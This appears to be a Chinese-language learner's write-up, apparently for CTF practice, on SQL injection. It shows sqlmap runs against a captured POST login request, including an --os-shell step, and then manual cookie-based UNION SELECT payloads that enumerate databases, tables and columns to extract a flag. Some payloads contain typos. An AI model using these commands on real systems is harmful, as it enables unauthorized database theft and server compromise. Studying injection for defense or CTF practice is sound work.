1、POST型注入:两种方法,第一种利用burp抓包然后使用sqlmap -r 来进行检测注入
第二种比较简单,直接使用sqlmap --forms 这个参数就可以了。
第一种方式
1.1利用burp抓包,可以得出,提交的
userid=test
userpass=test
主要注入也是由这个表单而起
,那么把他放入一个txt文件中并放入sqlmap目录下。
即将这部分信息:
- POST /login.aspx HTTP/1.1
- Host: xxx.xxxxx.com
- User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:43.0) Gecko/20100101 Firefox/43.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- Accept-Encoding: gzip, deflate
- Referer: [url]http://xxx.xxxxx.com/[/url]
- Cookie: ASP.NET_SessionId=2rslbt55ykuuntjvqwawax45
- Connection: close
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 106
- __VIEWSTATE=%2FwEPDwUJLTMzMjAwMjk3ZGQRxhY3kgspLOxJLG8mggcuWQGyAA%3D%3D&userid=test&userpass=test&x=58&y=10
放入txt文件
1.2打开sqlmap,开始进行注入
命令:sqlmap.py -r post.txt
根据:
- [INFO] the back-end DBMS is Microsoft SQL Server
- web server operating system: Windows 2003 or XP
- web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
- back-end DBMS: Microsoft SQL Server 2008
可以得出,他是mssql 08 的数据库,xp03的服务器,iis为6.0 asp脚本
我们可以深入一下,例如先查看他的表
命令:sqlmap.py -r post --dbs
------得到表名
第二种方式
首先我们直接打开sqlmap,输入指令
命令:sqlmap.py -u "url" --forms
forms参数会自动抓取post包,从而进行注入。
发现这个post包跟burp抓取的一样
来深入一下
使用命令:sqlmap.py -u "url" --forms --os-shell
------进而继续爆破
2、Cookie注入
1.1使用burpsuit进行抓包,看到cookie一栏显示为id=1;
1.2此时修改id=1‘ 发现报错 说明存在注入
1.3修改id=1 order by 2;和id= order by 3发现前者显示正常,说明读取到页面的字段数量为2
1.4此时修改id=-1 union select 1,2 发现页面返回正常,并且1,2可以正常显示
1.5此时插入代码,获得当前数据库名 (id=-1 union select (database()),2)
1.6插入代码获得当前表名:id=-1 union select (select table_name from information_schema.tables where take_schema=database()limit0,1),2;
(尝试手打)
得到表名,譬如zzzzbr
1.7插入代码活到当前字段名:id=-1 union select (select column_name from information_schema.columns where table-scheam=database()limit0,1),2;
这里column意思有:专栏,列,栏,这里应为字段的意思(学一手英语)
得到字段名,譬如hlycxwryjzh
1.8合并得flag:(知道数据库比如是sqli)id=-1 union select(select hlycxwryjzh from sqli.zzzzbr limit 0,1),2;
SUMMARY:
post型注入和Cooike注入都需要利用burp抓包来进行下一步操作,目前所学的post型注入需要搭配sqlmap完成解题,而Cooike型在burp里进行,其爆库爆表爆字段,贴近于其他的几种注入方法,也能够更贴切的理解和学习sql注入的语句内容。